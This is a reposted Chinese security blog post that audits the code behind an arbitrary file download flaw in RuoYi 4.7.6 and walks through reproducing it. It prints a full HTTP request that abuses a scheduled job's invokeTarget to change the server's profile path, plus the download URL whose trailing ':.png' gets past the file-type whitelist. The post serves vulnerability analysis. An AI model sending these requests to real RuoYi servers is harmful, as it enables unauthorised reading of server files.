若依 4.7.6 版本 任意文件下载漏洞(代码审计)
2023-4-29 22:8:52 Author: 红蓝攻防实验室(查看原文) 阅读量:122 收藏

0x01 步骤

1.新增定时任务2.执行定时任务3.调用下载文件接口

简单复现 debug跟进下 勿喷 不详细 勿喷 佬们 

0x02 定时任务

首先创建定时任务

POST /monitor/job/edit HTTP/1.1Host: 192.168.31.28Content-Length: 235Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5630.205 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://192.168.31.28Referer: http://192.168.31.28/monitor/job/edit/1Accept-Encoding: gzip, deflateAccept-Language: zh,zh-CN;q=0.9Cookie: JSESSIONID=a650d1b5-f3db-482b-9e8b-8f94074d2828dnt: 1Connection: close
jobId=1&updateBy=admin&jobName=%E7%B3%BB%E7%BB%9F%E9%BB%98%E8%AE%A4%EF%BC%88%E6%97%A0%E5%8F%82%EF%BC%89&jobGroup=DEFAULT&invokeTarget=ruoyiConfig.setProfile('/Users/macpro/Desktop/123.txt)&cronExpression=0%2F10+*+*+*+*+%3F&misfirePolicy=3&concurrent=1&status=0&remark=

0x02-01 代码跟进    

monitor/job/edit 接口

可以看到 如上代码都绕过了 进入whiteList,检查包名是否为白名单配置

跟进StringUtils.containsAnyIgnoreCase(obj.getClass().getPackage().getName(), Constants.JOB_WHITELIST_STR)

原来这里检查的是 ruoyiConfig的包名是否存在顶级包名 com.ruoyi,成功绕过 返回为true,将数据保存到数据库中。

0x03 执行定时任务

接口 monitor/job/run

0x03-01 代码跟进

进入serviceimpl 

查看通过jobId查询到 刚刚保存到数据的数据了 主要看 这里有个  scheduler.triggerJob(jobKey, dataMap);方法 

跟进到 QuartzScheduler 具体去创建的 Quartz 触发器对象

newTrigger():创建一个新的触发器对象。withIdentity(newTriggerId(), Scheduler.DEFAULT_GROUP):指定触发器的 IDGroup(组)。forJob(jobKey):指定触发器要绑定的 Job(任务)。build():创建并返回新的触发器对象。这里使用了 OperableTrigger 类型的对象来接收返回的触发器对象,该类是 Quartz 触发器的一个实现类,它可以操作和控制触发器的执行行为。jobKey 是一个 JobKey 类型的参数,代表了要关联的任务的标识和组名。综合来说,这行代码的意义是创建一个新的 Quartz 触发器对象,并将它绑定到指定的任务上,以便在需要执行该任务时触发它。
最后 通知 Quartz Scheduler 的线程,在触发器的下一次触发时间到达时运行任务。通知 Quartz Scheduler 监听器,触发器已创建

0x04 执行任意文件下载

首先这里 ruoyiConfig.setProfile('/Users/macpro/Desktop/123.txt)修改的就是 配置文件中的 通过定时任务创建的触发器去执行 修改 内存中的profile值

访问 http://192.168.31.28/common/download/resource?resource=jbruoyi:.png

0x04-01 代码跟进

接口 common/download/resource

跟进 checkAllowDownload

可以看到 检查我们的文件 是否在白名单中存在 

获取文件类型 可以看到 获取的是最后一个点后的 类型 正好存在于白名单中 这样就绕过了 检测

这一步就是刚刚在定时任务里修改的值的地址 

最终就是读取文件目录 然后 下载到本地


文章来源: http://mp.weixin.qq.com/s?__biz=MzU2OTkwNzIxOA==&mid=2247484113&idx=1&sn=3f2f55f89d23a02ab83e40f89f5be42d&chksm=fcf6c3accb814aba3c997aa91cb8eb90ba60196f54bd4f80d82100ae91280cf9e89e642429b0#rd
如有侵权请联系:admin#unsafe.sh